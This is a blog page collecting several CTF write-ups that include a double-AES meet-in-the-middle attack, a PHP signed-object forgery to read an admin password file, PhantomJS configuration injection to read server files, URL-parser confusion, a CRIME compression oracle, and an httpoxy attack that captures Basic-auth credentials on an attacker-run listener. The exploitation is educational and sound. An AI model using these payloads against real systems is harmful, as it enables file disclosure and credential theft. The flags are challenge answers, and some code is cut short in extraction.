Association de l'INSA de Lyon

Two-Face (Crypto 500) - ZeroDays CTF 2017

This chall was the last one of the ZeroDays event. I did not manage to solve it in time because I thought the exploit was more hardcore-crypto and I missed an obvious way to exploit it. Anyway, this was a great challenge. Let's dive into it !

The statement is quite simple :
Encrypted flag = 0x3F428788FA7D9B0F984859EA19E3CD093DFE5C35CB4CFA2AC2A5792A1E96FA2FB9CE18A882DF600449D0D51240979E2CF9E187ABD07963CFA781D48705D1E66E

Hint 1: 0x54686520666c616720686173206265656e20656e63727970746564207477696365207573696e6720323536204145532d454342

Hint 1 encrypted: 0xFA96F12368B66345680ACF19B0B48878C1CD058250931A4858FDA5E3661964D0053144A9322A2EC1DC34C5688FA7BAA891630D2E04E8E80D3ECE29335E7D3311

Hint 2: 0x746865204e5341206d6164652075732064756d6220646f776e20746865206669727374203233362062697473206f6620626f7468206b65797320746f2030

Hint 2 encrypted:

Decoding the two hints give us :

The flag has been encrypted twice using 256 AES-ECB
the NSA made us dumb down the first 236 bits of both keys to 0

So it appears that the encryption scheme uses two 20-bit keys to encrypt the data using AES. Bruteforcing 20 bits is easy, but bruteforcing 40 bits takes way too long in this case.
I tried finding a time optimization or a weakness in AES which makes operations cancel each other, but nothing obvious came. After the event finished, the organizer of the event gave it to me : it was a meet in the middle attack. I'm a bit frustrated that I couldn't find that, but on the other hand I only had 20 minutes so... :)
Even though I did not actually solve the challenge during the CTF, I still want to share the solution because it was very elegant.

We did not need to bruteforce both keys at once : using one of the hint/encrypted hint pairs, we can compute a set of values which will let us find a few collisions which are key candidates.
Using all 1024576 values for key1, we encrypt the hint and store the encrypted value along with the key :
for i in range(1048576):
Then, using the 1024576 possible key2 values, we decrypt the encrypted hint and see if the value is one of the ones we computed before. If it is, then we have a possible key pair.
for i in range(1048576):
    if cipher.decrypt(hint1enc) in ciphers1:
        print ciphers1[cipher.decrypt(hint1enc)],i
This works because :
- The time complexity is (2^20)*2=2^21, feasible
- If we find a key k2 that decrypts the encrypted hint to a ciphertext that we had previously found by encrypting the hint with k1, it means that encrypting the hint with k1 then k2 gives us the right ciphertext. [This might be quite hard to understand but it is the core of the exploit. Take some time to read it again if needed]
(k1,k2) is not necessarily the right key pair but it has very strong chances to be (and if it's the only candidate, then it HAS to be the right key pair).

Final script :
from Crypto.Cipher import AES
import binascii

print hint1
print hint2

while len(hint1)%16:

for i in range(1048576):

for i in range(1048576):
    if cipher.decrypt(hint1enc) in ciphers1:
        print dec1.decrypt(dec2.decrypt(flagenc))
The script runs in a few seconds and gives us a single (k1,k2) candidate, which is used to decrypt the flag : Wow impressive you found the flag long live zerodays

This time I did not compete with InSecurity since it was an Irish event, so my team was made of friends from Trinity College. Congrats to team hack4craic who got 1st place overall, catching up with us about 20 minutes before the end ! Thanks to all the organizers, the CTF quality was great and the architecture was very strong.

Writeup by Mathis HAMMEL for team The Entire Bee Movie Script

Le 09/04/2017 à 16:10

Just In Time - Hack The Vote chall

Keywords: LFI, PHP, unserialize, time sensible

Category: Web

Points: 300

Somebody broke into Kentucky's voter registration system last week but the officials are only saying that they patched it instead of saying who it was. Can you find a new way into their management system and identify the attacker? After registration closes, the site will be taken offline so don't miss your chance.

Note: This challenge uses a slightly nonstandard flag format (an RSA fingerprint starting with F1:A6)

Hint: You should look at this challenge soon before it is too late! Draft your solution asap.

At first sight you can't do much with this challenge. You can register a Voter AKA a user. And if you do so you are given an ID. This ID is a base64 containing a JSON with what looks like PHP serialized data and checksums.

[ "O:5:\"Voter\":6:{s:4:\"name\";s:5:\"hugo1\";s:4:\"addr\";s:4:\"addr\";s:5:\"affil\";s:11:\"Independent\";s:3:\"zip\";s:5:\"42602\";s:3:\"log\";s:16:\".\/data\/hugo1\/log\";s:8:\"show_log\";b:0;}",

You can ask the website to check your ID, and the website prints your information.

Of course if you try to modify the Voter object the website tell you that the signature is wrong (the 1st big string). If you try to modify the third JSON parameter (hugo1 here) then the website gives you a similar error.

Okay so we might have to modify this JSON later on, when we'll find the key to sign the objects.

On the website you can also go to /admin.php which ask you for a password.

I have not found something interesting enough, so I continued my search.. By looking at the network accesses we can see that the website call frequently the url : When you go directly to the url you see the remaining time before the registration closes (which will be a big hint later on).

As a PHP lover I immediately saw the p parameter which often means that a page is included. If the website is badly designed (like here) it could lead to an LFI (cf

For example :

The website home's page is displayed. So this URL includes the index.php file. What about reading the sources ? It can be possible if the php filters are enabled :

Mmh the website answers Hacking detected. After a bit of testing we understand that the word base64 is blacklisted. Fair enough !

And we have the source code ! There is a lot of files, I won't show you everything, but here are the important parts.

Here is the code which checks the ID and displays your infos :

function validate_voter($blob, $debug=False) {
    $unb64 = base64_decode($blob) or html_die("Could not decode base64");
    list($vote_s, $vote_s_sig, $name, $name_sig) = json_decode($unb64) or html_die("Could not decode json");

    $system_key = get_system_key();
    $valid_name_sig = hash_hmac("sha512", $name, $system_key);
    hash_equals($valid_name_sig, $name_sig) or html_die("Bad signature for name");

    $user_key = get_key($name);
    if (is_test_voter($name)) {
        html_die("$name is a testing account - it can't be used to vote");
    if ($debug) {
DEBUG: User signed with key " . base64_encode($user_key) . "
); } $valid_vote_s_sig = hash_hmac("sha512", $vote_s, $user_key); hash_equals($valid_vote_s_sig, $vote_s_sig) or html_die("Bad signature for Voter object"); $voter = unserialize($vote_s, ["Voter"]); return $voter; } if(isset($_POST['id'])) { $debug = isset($_GET['debugpw']) && strcmp($_GET['debugpw'], "thebluegrassstate") !== false; $voter_info = validate_voter($_POST['id'], $debug); $voter_info = str_replace("\n", "
, $voter_info); }

validate_voter return a Voter object or prints an error. It checks if the serialized Voter or the $name have been modified. Before I explain how we can modify the Voter let me explain why we want to.

In the last line we see that the Voter object is interpreted as a string. So the Voter class might have a __toString() function which is called. Here it is :

function __toString() {
    $out = "Voter registration for {$this->name}:\n\tAddress: {$this->addr}" .
           "\n\tAffiliation: {$this->affil}\n\tZip: {$this->zip}";

    if ($this->show_log)
        $out .= "\n\nLast update to voter:\n" . $this->read_log();

    return $out;

The show_log attribute is always false.. Except if we can modify the object ! The read_log() reads a log file whose the path is stored in the Voter object. So if we can modify the object we will be able to read every files on the server ! (the LFI allowed us to read only php files due to the extension)

But what file can we want to read so much ? Lets see admin.php :

if(isset($_POST['password'])) {
    $password = trim(file_get_contents("../admin_password"));
    if (hash_equals($password, $_POST['password'])) {
        /* PRINT THE FLAG */

Well, if we can read ../admin_password we win ! Lets try to do this :)

The only way to modify the Voter object is by knowing the $user_key which is given to us as long as $debug is True AKA as long as we provide the right GET parameter.

So we can modify the Voter object and still have the good signature ! Hurrah !! Not so fast young boy.. With great power comes great responsibility. If you want to see the key then your Voter will be marked as a test voter and you are not anymore allowed to use the unserialize method with this object.

Well, lets see the functions that lock our dear Voter :

function is_test_voter($name) {
    $f = "./data/$name/debug";
    if (file_exists($f)) {
        $debug_timestamp = file_get_contents($f);
        $debug_after = DateTime::createFromFormat('m/d/y H:i', $debug_timestamp);

        $now = new DateTime();
        if ($now >= $debug_after) {
            return True;
    return False;

function mark_test_voter($name, $raw_date=null) {
    $f = "./data/$name/debug";
    if (file_exists($f)) return;

    if (!isset($raw_date)) $raw_date = new DateTime();
    $date = $raw_date->format('m/d/y H:i');

    file_put_contents($f, $date) or die("Couldn't mark $name as test voter" . PHP_EOL);
    chmod($f, 0400);

    file_put_contents("./data/$name/log", "Marked $name as test voter at $date" . PHP_EOL, FILE_APPEND);

So a Voter is locked if the date in his debug file is greater or equals to the current date. In a strictly scientific way of thinking we are screwed ! We cannot go back in the past. I blocked at this point a long time before looking at the hint : "You should look at this challenge soon before it is too late! Draft your solution asap."

Why set a limit to the challenge ? Then I remembered that once a year we do go back in time to save power ! Would it be possible in the city where the server has its timezone this temporal breach would occur in the CTF ? That would be awesome !

Here is the first line of util.php:


After a bit of googling :

Yes ! At 02:00am the server time will go back from 1hour :D So if we ask for the key at 01:30am then our Voter object will be locked as long as datetime >= 01:30am. But half an hour later the time will be... 01:00am ! So we will have a 1/2h to modify our object and read the admin password.

Sadly for me 01:30am New York time meant 05:30am.. So I'll have to wake up early ;). But it was worth it. Here is the php code used to modify the Voter user :

list($vote_s, $vote_s_sig, $name, $name_sig) = json_decode(base64_decode(YOUR_ID)); // 01:30am -> register
$user_key_b64 = "THE_USER_KEY"; // 01:30am -> debug

$vote_s = "O:5:\"Voter\":6:{s:4:\"name\";s:4:\"hugo\";s:4:\"addr\";s:4:\"addr\";s:5:\"affil\";s:11:\"Independent\";s:3:\"zip\";s:5:\"42602\";s:3:\"log\";s:17:\"../admin_password\";s:8:\"show_log\";b:1;}"; // read psswd admin

$user_key = base64_decode($user_key_b64);
$vote_s_sig = hash_hmac("sha512", $vote_s, $user_key);
$blob = base64_encode(json_encode([$vote_s, $vote_s_sig, $name, $name_sig]));

var_dump($blob); // check_reg from "02:00am" to "02:29am"

It was early so I forgot to save the admin password and the flag. But I hope believe me when I say that it worked :D

This challenge was a real peace of art. The fact that the real world is influencing the behavior of a program is awesome ! Without this time change nothing was possible. The author is really a genius, thanks a lot !

Original writeup :

Le 06/11/2016 à 21:54

Forensh*t's Ekoparty2016

Keywords: PhantomJS, Configuration injection, HTTP

Category: Web

Points: 400 (+15 first flag)

First part : rec0n

Note: Please go to the second part if you are just interested in the solution.

Nice ! A beautifull web application that allows user to take screenshot of a choosen website :). I love when challenges are well designed like this.

You just need to send your URL and the application takes a screenshot of the website. You also have an URL that you can send to your friends that shows the screenshot.

How does it works ? Where are the vulnerabiliti(es) ?

The first thing I looked for was the URL generation.


After some testing it seems random, and only urls from r'\w'+ regex seemed valid (you get an error otherwise). So we have to look somwhere else.

For a moment I had a quite extravagant idea (which of course was wrong) : if the Apache server is misconfigured and PNG extension considered as PHP script, then it would be possible to create a webpage that when screenshoted will produced a PHP payload. If you interested in this technique, have a look at this awesome blog :

After a bit of thinking I realised it was unlikly to be an advanced exploit like this (it would require an Apache misconfiguration and a lot of work from me to create a payload). So I decided to understand a bit more how the application works.

So I asked the application to get a screenshot of my website while grepping the logs. An interesting thing came out : the website used PhantomJS to create his screenshots.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML,like Gecko) PhantomJS/2.1.0 (development) Safari/534.34

The first thing we though about was : what about a XSS ? Maybe we could access another website that only the machine running PhantomJS can see ? K71 started to install Beef Framework and during this time I looked at the last parameter that could lead to an exploit : the URL !

After some quick testing it appeared that every time I put a ' in the URL, the screenshot is not taken. Hurrah ! A RCE ! (what I thought at least..). I tested every single payload I had (DNS exfiltration, ICMP exfiltration...) and none where working.

Then an idea came out : lets validate it is really an RCE. For this we asked for the following URL:';echo '1

Should work as expected right ? No response.. Mmmh, maybe not an RCE after all.

Finally the the click ! Maybe it is a PhantomJS configuration injection ? :o

Second part : 3xploit

PhantomJS is a program that simulate a browser. It is written in Javascript and can be launched using a configuration file. Our suspicion was that the URL was injected in this configuration file before launching PhantomJS.

Lets confirm that it is a PhantomJS configuration injection:';//

';// should close the string then comment out the rest of the line. We get a screenshot of google hurrah ! Now lets be a little more tendentious:'; page.settings.userAgent = 'Hey there :)'; // d

After grepping the log it appeared that it also worked !

Okay now lets exploit. The next payload is meant to list all the files in the current directory and send them in the user-agent :

var fs = require('fs');
var userAgent = "";
var path = ".";
var list = fs.list(path);
for(var x=0;x<list.length;x++){
    userAgent += list[x]+";"
page.settings.userAgent = userAgent;

Which gives us the URL :';var fs = require('fs');var ua="";var p=".";var l=fs.list(p);for(var x=0;x<l.length;x++){ua+=l[x]+";"};page.settings.userAgent=ua; // s

And outputs :

User-Agent: .;..;cache;captcha;index.php;

Of course we can read index.php ! Here is the payload used, followed by the index.php file :';var fs=require('fs');var ua=btoa('index.php'));page.settings.userAgent=ua; // s
// ...

$WORKING_DIR = "/var/www/html/cache/";
$SHOTS_DIR = "/var/www/html/cache/";

if (isset($_GET['hash'])){

$errormessage = "";

$hash =  $_GET['hash'];
if(preg_match('/[^a-z0-9]/i', $hash))
    $errormessage = "Invalid hash";
} else { 
    $filename = "./cache/{$hash}.png";
    if (file_exists($filename)) {
        echo '<div class="well" id="imghere">';
        echo "<img width=100%  src='$filename'>";
            echo '</div>';
    } else  {
        $errormessage = "Hash not found in database";

if (!empty($errormessage)) {
        echo '<div class="bs-callout bs-callout-warning">';
        echo "<p>$errormessage</p>";
        echo '</div>';

} else { 

# get url

    if (!empty($_POST['g-recaptcha-response']) && !empty($_POST['url'])) {
        include 'captcha/autoload.php';
        $recaptcha = new ReCaptchaReCaptcha('6LeXbAsTAAAAANkXvQdE5Hi2Dhkb5lubXRDRWLv7');
        $resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);

        if ($resp->isSuccess()) {
            $url = $_POST['url'];

            $template = file_get_contents(".ht24df1f769767e020ac970f1adb75f745.js");
            $tmpphantom = $WORKING_DIR . sha1(sha1(uniqid(), true)) . ".js";
            $ssoutputs = $WORKING_DIR . sha1(sha1(uniqid(), true)) . ".png";

            # weak protection
            //$url = str_replace("'", "'", $url);

            $outputfile = str_replace("%URL%", $url, $template);
            $outputfile = str_replace("%FILENAME%", $ssoutputs, $outputfile);

            file_put_contents($tmpphantom, $outputfile);

            //system('bash -c "exec /usr/local/bin/gtimeout 10 /usr/local/bin/phantomjs '.$tmpphantom.' > /dev/null 2>&1 &"');
            system('bash -c "exec timeout 40 /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs  '.$tmpphantom.' > /dev/null 2>&1 &"');

        } else {
            $errormessage = "wrong captcha";
    } else {
        $errormessage = "You must fill the captcha and URL to use.";

// ...

Exactly as intuited there is a JS template file (.ht24df1f769767e020ac970f1adb75f745.js) which is formatted with the user input. Let's read it.

var here_it_is_come_and_get_it = "EKO{guess_i_got_what_i_deserved}";
var page = require('webpage').create();

page.viewportSize = { width: 640, height: 480 };
page.clipRect = { top: 0, left: 0, width: 640, height: 480 };

var url = '%URL%';, function() {

Here is our flag. EKO{guess_i_got_what_i_deserved}

Thanks for this really fun challenge !

Original writeup :

Le 29/10/2016 à 01:33

Url shortener Ekoparty2016

Keywords: PHP, HTTP RFC, wget, parse_url

Category: Web

Points: 200

Problem statement :

We developed this url shortener, it will allow you to share links with your friends!

You will need to bypass the check for the hostname and send the request somewhere else!
Source code:

No team that flagged this task during the first day so the admin decided to give us the source code (you will see that even with it, it is not obvious):

include 'config.php';

if (isset($_GET['i']) && $_GET['i'] == 1) {

// ...

function page_title($url) {
        $fp = get_data($url);
        if (!$fp)
            return "(no title)";
        $res = preg_match("/<title>(.*)<\/title>/siU", $fp, $title_matches);
        if (!$res)
            return "(no title)";
        $title = preg_replace('/\s+/', ' ', $title_matches[1]);
        $title = trim($title);
                if ($title == "") $title = "(no title)";
        return $title;

function get_data($url) {
        $url = escapeshellarg($url);
        $flag = escapeshellarg($flag);
        exec("wget -qO-  --user-agent $flag $url", $output);
        return implode("\r\n", $output);

$url = isset($_POST['url']) ? $_POST['url'] : "";

if ($url != "" && !empty($_POST['g-recaptcha-response']) ) {
        $recaptcha = new \ReCaptcha\ReCaptcha($secret_key);
        $resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);

        echo '<md-whiteframe class="md-whiteframe-1dp" layout layout-align="center center">';

        if ($resp->isSuccess()) {

                $pu = parse_url($url);
                if (isset($pu["host"]) && isset($pu["scheme"])) {
                        if ($pu["host"] === "" && ($pu["scheme"] === "http"||$pu["scheme"] === "https")) {
                                echo "<p>Accepted hostname <b ng-non-bindable>".htmlentities($pu["host"])."</b><br/><br/>";
                                $response = page_title($url);
                                echo "<b>Title:&nbsp;</b><span  ng-non-bindable>" . htmlentities($response)."</span><br/>";
                                echo "<b>Short Link:&nbsp;</b><a href='?i=1'></a></p>";
                        } else {
                                echo "<p>Error, hostname not allowed</p>&nbsp; <p><b ng-non-bindable>".htmlentities($pu["host"])."</b></p>";
                } else {
                        echo "<p>Invalid URL&nbsp;<b ng-non-bindable>".htmlentities($url)."</b></p>";

        } else  {
                echo "<p>Invalid CAPTCHA&nbsp;</p>";

        echo '</md-whiteframe>';

// ...

Of course we don't have access to .htflag.php.

The goal of the task is to bypass the hostname filter. So I looked for strange URLs that either wget or php parse_url would have some trouble checking.

I found that you can specify the HTTP username and password in the URL :

So I tried :

But both wget and parse_url parse this address perfectly :/.

But here is another URL, derived from the one before:

We got something ! PHP parse this URL as :

array(5) {
  string(4) "http"
  string(16) ""
  string(2) "what"
  string(21) ""
  string(1) "/"

So it bypasses the filters. And wget see this URL as : username:what - password:ever -

So we are quite there ! Php takes the hostname after the last @ to the first / and wget do the opposite : takes the hostname after the first @.

Which leads us to our final payload :

And here we are :)

I don't know which one of PHP or wget did not follow the RFC but if I have to guess I'd say PHP x)

Original writeup :

Le 29/10/2016 à 01:31

Cornelius1 -

Keywords: ruby, AES CTR, Zlib deflate, CRIME attack

Category: Cryptography

Points: 171

Here is the server's source code :

require 'openssl'
require 'webrick'
require 'base64'
require 'json'
require 'zlib'
require 'pry'

def encrypt(data)
  cipher =, :CTR)
  key = cipher.random_key
  iv = cipher.random_iv
  cipher.auth_data = ""
  encrypted = cipher.update(data) +
  return encrypted

def get_auth(user)
  data = [user, "flag:""flag.key").strip]
  json = JSON.dump(data)
  zip = Zlib.deflate(json)
  return Base64.strict_encode64(encrypt(zip))

class Srv < WEBrick::HTTPServlet::AbstractServlet
  def do_GET(req,resp)
    user = req.query["user"] || "fnord"
    resp.body = "Hallo #{user}"
    resp.status = 200
    puts get_auth(user).inspect
    cookie ="auth", get_auth(user))
    resp.cookies << cookie
    return resp

srv ={Port: 12336})
srv.mount "/",Srv

The goal is to find the content of flag.key AKA decrypt the cookie.

Here is the simplified data flow, from the user input (URL parameter user) to the cookie:

user + "flag:THE_FLAG" > zlib deflate > AES CTR encrypt > base64 > cookie

What's wrong about it ? It is quite obvious that the user parameter has something to do with the challenge (otherwise it won't be there :p).

The first step to solve the challenge is to understand how zlib deflate works. From Wikipedia we learn that Deflate is based on the LZ77 algorithm. Still from Wikipedia we learn that :

LZ77 algorithms achieve compression by replacing repeated occurrences of data with references to a single copy of that data existing earlier in the uncompressed data stream.

So for a given length, the more "user" is close to the flag, the smaller the output of deflate will be.

Likewise, the more the output of deflate is small, the more the cipher and the base64 are small. (There is just a little trick with the padding of the cipher, but the principle stays the same!)

So if we send "flag:" as our "user" then we only increase the output of deflate of 1 byte (the alias). Likewise if the flag starts with "a" and we send "flag:b" as our "user" the output of deflate will increase of 2 bytes (the alias + b), but if we send "flag:a" the output will only increase of 1 byte (the alias).

So we are able to detect if the flag starts with a letter. Then we iterate :)

After a bit of searching, this is known as a CRIME attack.

Let's automate this a little bit:

for i in {78..125}; do echo `printf "%x" ${i}` && curl -vv "`printf "%x" ${i}`" 2>&1 | grep Set-Cookie ; done;

This is an ugly bash oneliner to bruteforce an hexadecimal encoded character. This will produce the following output :

< Set-Cookie: auth=AGUPbh3BhY0W5AJNa7FI//PgmDwidVBYMj0sd2B1WHM=
< Set-Cookie: auth=EmlgWKQIVADpABaF0Vl59v3kMBqm7KHCoLUlVNVlKwk=
< Set-Cookie: auth=7NU6OjOP1JwVvsbHsod+Rw6SR/5MXhcsO0vM5aJ0rdA=
< Set-Cookie: auth=Ou76fwjxkzQTkXLVpQ5BIsuTbW6pPJ5vyC++Ph17bOQ=
< Set-Cookie: auth=1DNSu9QFtIvJEyR0zig0VDZGLbZ0D371q/jPy5SDq+U=
< Set-Cookie: auth=Ndin4BpZ/vSXdxaaQOD8F69b0zfPxmXCFrutikFQ
< Set-Cookie: auth=zZKniX/LSrN97FtvnEXRjOvJnuNPy9xiFvNuzJIe+qI=
< Set-Cookie: auth=AIj15RkMWDJo27392hFHvcQdWlQCR/G5kcOHjsoJdh4=

We see that the character chr(0x65) results in a smaller output of the cipher, so this must be the character to concatenate to the current guessed flag !

Mu7aiched + e

If we iterate one more time we can't find any character that reduce the length of the cipher.. That might be because we already have the whole flag. After checking the CTF's submit area it appears that it was that !

So here is the final flag : Mu7aichede :D

Original Writeup :

Le 20/10/2016 à 22:39

Maze -

Keywords: httpoxy, python3, Graph travelling algorithm, DFS

Category: Prog/Misc

Points: 207

"Maze", we might have to do some graph travelling.. Sounds nice :)

When we open the webpage we get this :

<a href=/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/2zszieqld8ghxdm43nwi7t8wh93mxau4.php>Number 1 a>br>
<a href=/maze/zpk2os59yksq9uisgmpjjrh37kezpf4b/mr49u8rdqxhnx38khyv2hssiwc3kzf05.php>Number 2 a>br>
<a href=/maze/o25s1yq85a30u1hqoj6mpguy12o39f4i/bnbnylcs2td9a2ni5tgvhx56mgvgfgxw.php>Number 3 a>br>
<a href=/maze/j1dgu9uxkafajnvwo10w6j5bpwr42glm/iyfu5c4wf7w6ila0pfq4dlu7lf3rn8f1.php>Number 4 a>br>
Please solve the link maze in order to get the Flag. br>
(You can find the source of this page <a href=code.php>herea>)

Okay so it looks like the challenge is to click on links until we find the good one (with the flag). Easier than expected ! :)

So let's click on one link...

401 Unauthorized

Arg ! We are asked for a username/password for an HTTP Basic Auth. It says that it is not guessable so obsiously we tried to guess it, without any success :/

We also tried to change the method with which we requested the server (example vuln here) :

curl -X PLOP

No more success. Let's be a bit smarter and read all the HTML code source. We can see that the server source code is given, here it is:

# Ubuntu trusty
# Apache/2.4.7-1ubuntu4

require_once "lib/httpproxyconnection.php";
echo queryURL("");

Please solve the link maze in order to get the Flag.
(You can find the source of this page here)

Okay so the server is just a proxy to a local VM. Let's look for known vulnerabilities for the given Apache + httpproxy. We found this : HTTPOXY

We won't explain the vulnerability here, you just have to know that for a long time a lot of webservers (Apache) and programming languages (PHP) interpreted the Proxy HTTP header as the real Proxy to use when doing server-side requests.

This means that if we request:

curl -H "Proxy:"

then PHP, when requesting the local VM :


will try to use as an HTTP Proxy. And of course, the server has the BasicAuth credentials :

# bash on
nc -lvp 1234
listening on [any] 1234 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 39123
Authorization: Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk
Accept: */*
Proxy-Connection: Keep-Alive

Here we are ! The server did try to connect to the local VM using our HTTP Proxy, and the server obviously sent the Basic auth along. Now we can access the links below :

curl -H "Authorization: Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk"

Here is the response :

<form method="post">Please Solve the following capture to continue:<br>295076782 + 44722125 = 
    <input type="text" name="result" value=""><br><br>
    <input type="submit" value="Submit">

A small captcha x) so cute ! Once solved here is the result :

<a href=/maze/t1xdtygdurka0vwo04vxovb9h4q91tw6/3rvftt4iixtxpv5179zwzdu2fh87egh7.php>Number 1 a>br>
<a href=/maze/7v2lt3k6xsnuqywv67fxwbsdzxxzunco/j6n7ye84mmdrs5dr4wbiw6y9ttz1jpfv.php>Number 2 a>br>
<a href=/maze/ky0hvsovgdmw7og4t30xcfnmte7kcbcr/hn9wog3nmfivf1o6kbv16qypoillyn30.php>Number 3 a>br>
<a href=/maze/zpk2os59yksq9uisgmpjjrh37kezpf4b/ui0uohlw5t7j5avkcauskwzhviknzubs.php>Number 4 a>br>

So out firsts intuitions were good :). We just have to go through all the links and find the one that contains the flag. Below is my code thant does it, but before I'll explain it quickly.

The principle is quite easy : For each page in the list urls_to_explore :

  • Solve the captcha and get the links.
  • Put the links in the list urls_to_explore IF we didn't see them before AKA if the link is not in the dict explored_urls.
  • Add the current page's link to the dict explored_urls that tell us which links we already saw.
import requests
import re
import sys

url = ""
headers = {
    "Authorization": "Basic c3VwM3JzM2NyM3R1czNyOm4wYjBkeWM0bmd1M3NteXA0c3N3MHJk"

explored_urls = {}

urls_to_explore = [

def gotto(path):
    res = requests.get(url + path, headers=headers)
        enigma = res.text.split("
)[1].split(" =")[0] if re.match(r'^[d* +-/]+$', enigma): resultat = eval(enigma) else: print("Do not match! " + enigma) print(res.text) sys.exit(1) except Exception as e: if 'NOT THE FLAG' not in res.text: print(res.text, file=sys.stderr) # the page didn't have the expected format -> FLAG ?? :) return [] data = { 'result' : str(resultat) } res = + path, headers=headers, data=data) try: return list(map(lambda x : x.split(">")[0], res.text.split(' FLAG ?? :) return [] while len(urls_to_explore) > 0: path = urls_to_explore.pop() if explored_urls.get(path): continue to_add = gotto(path) for p in to_add: if not explored_urls.get(p): urls_to_explore.append(p) print(urls_to_explore) print(explored_urls) print(" ------------------------------------------ ") explored_urls[path] = True

That's all ! We just have to wait ;)

./ > /tmp/output_maze # will only print the flag on stderr

And that's it :)

Original writeup :

Le 20/10/2016 à 20:38

Hackover - semsecrace 15

Much like rollthedice, this is a crypto chall written in go, and we have the source :
package main

import (

const NUM_STAGES = 40
const FLAG = "hackover16{REMOVED}"

var validStates = make(map[string]*State)
var validStateMutex = new(sync.Mutex)
var tmpl *template.Template

type JsonResponse struct {
	Action string `json:"action"`
	Text   string `json:"text"`

type State struct {
	Code       string
	Stage      uint8
	Colors      []byte
	ValidUntil time.Time

func (s *State) GetColor() string {
	numBit := s.Stage % 8
	colorPos := s.Stage / 8
	if (s.Colors[colorPos]>>numBit)&0x1 == 0 {
		return "red"
	} else {
		return "blue"

func (s *State) Activity() {
	s.ValidUntil = time.Now().Add(15 * time.Minute)

func (s *State) Burn() {
	defer validStateMutex.Unlock()
	delete(validStates, s.Code)

func (s *State) EncodeCode() string {
	return base32.StdEncoding.EncodeToString([]byte(s.Code))

func (s *State) IsExpired() bool {
	return s.ValidUntil.Before(time.Now())

func NewState() *State {
	code := make([]byte, 20)
	if _, err := io.ReadFull(rand.Reader, code); err != nil {
		log.Fatal("Oh no! Out of randomness for state code")
	colors := make([]byte, NUM_STAGES/8+1)
	if _, err := io.ReadFull(rand.Reader, colors); err != nil {
		log.Fatal("Oh no! Out of randomness for colors")
	s := &State{Code: string(code), Stage: 0, Colors: colors}
	defer validStateMutex.Unlock()
	validStates[s.Code] = s
	return s

func getState(codeBase32 string) *State {
	code, err := base32.StdEncoding.DecodeString(codeBase32)
	if err != nil {
		return nil
	s := validStates[string(code)]
	if s == nil {
		return nil
	if s.IsExpired() {
		return nil
	return s

func main() {
	var err error
	tmpl, err = template.ParseFiles("semsecrace.html")
	if err != nil {
		log.Fatal("Could not load template", err)

	go cleaner()
	http.HandleFunc("/", handleIndex)
	http.HandleFunc("/race", handleRace)
	http.HandleFunc("/choose", handleChooseColor)
	http.HandleFunc("/ciphertext", handleGetCiphertext)
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("./static"))))

	log.Fatal(http.ListenAndServe(":8202", nil))

func handleIndex(w http.ResponseWriter, r *http.Request) {
	s := NewState()
	http.Redirect(w, r, "/race?driver_license="+s.EncodeCode(), http.StatusFound)

func handleRace(w http.ResponseWriter, r *http.Request) {
	s := getState(r.FormValue("driver_license"))
	if s == nil {
		http.Redirect(w, r, "/", http.StatusFound)
	err := tmpl.ExecuteTemplate(w, "semsecrace.html", struct {
		DriverLicense string
		NumStages     int
	}{s.EncodeCode(), NUM_STAGES})
	if err != nil {
		log.Fatal("Could not execute template", err)

func handleChooseColor(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "application/json")

	s := getState(r.FormValue("driver_license"))
	if s == nil {
		json.NewEncoder(w).Encode(JsonResponse{Action: "expired"})

	var resp JsonResponse
	color := r.FormValue("color")
	if s.GetColor() == color {
		if s.Stage >= NUM_STAGES {
			resp = JsonResponse{Action: "flag", Text: fmt.Sprintf("Winner!
%s", FLAG)} s.Burn() } else { resp = JsonResponse{Action: color} } } else { s.Burn() resp = JsonResponse{Action: "burn", Text: "You took the wrong color."} } json.NewEncoder(w).Encode(resp) } func handleGetCiphertext(w http.ResponseWriter, r *http.Request) { s := getState(r.FormValue("driver_license")) if s == nil { w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusForbidden) fmt.Fprintln(w, "Your driver license expired. Try again.") return } m0 := []byte(r.FormValue("m0")) m1 := []byte(r.FormValue("m1")) if len(m0) != len(m1) { w.Header().Set("Content-Type", "text/plain") w.WriteHeader(http.StatusForbidden) fmt.Fprintln(w, "We are in the semantic security race. Follow the rules!") return } var msg []byte if s.GetColor() == "red" { msg = m0 } else { msg = m1 } w.Header().Set("Content-Type", "application/octet-stream") w.Write(encrypt(msg)) } func encrypt(message []byte) []byte { key := make([]byte, aes.BlockSize) if _, err := io.ReadFull(rand.Reader, key); err != nil { log.Fatal("Oh no! Out of randomness for key") } block, _ := aes.NewCipher(key) someByte := byte(aes.BlockSize - (len(message) % aes.BlockSize)) for i := byte(0); i < someByte; i++ { message = append(message, someByte) } ciphertext := make([]byte, len(message)) for i := 0; i < len(message) / aes.BlockSize; i++ { src := message[i*aes.BlockSize:(i+1)*aes.BlockSize] dst := ciphertext[i*aes.BlockSize:(i+1)*aes.BlockSize] block.Encrypt(dst, src) } return ciphertext } func cleaner() { t := time.NewTicker(1 * time.Minute) for { <-t.C cleanup() } } func cleanup() { oldCodes := make([]string, 0) validStateMutex.Lock() for code, s := range validStates { if s.IsExpired() { oldCodes = append(oldCodes, code) } } for _, code := range oldCodes { delete(validStates, code) } validStateMutex.Unlock() }

Upon connecting on the given address with my browser, I get the following minigame :

The goal is to make the car go around the loop. To do so, I can choose the red or blue button. If I have chosen the right colour, the car goes forward a little bit. Otherwise it explodes and I have to start again.
Looking at the src,
const NUM_STAGES = 40

This probably means I have to guess 40 times in a row. Having a 1 in 2^40 chance to get it right makes it impossible to try until I succeed, even with a script.

Looking at the source, there is an interesting function which uses the red and blue textboxes ans the mysterious 'Get ciphertext' button :
func handleGetCiphertext(w http.ResponseWriter, r *http.Request) {
	s := getState(r.FormValue("driver_license"))
	if s == nil {
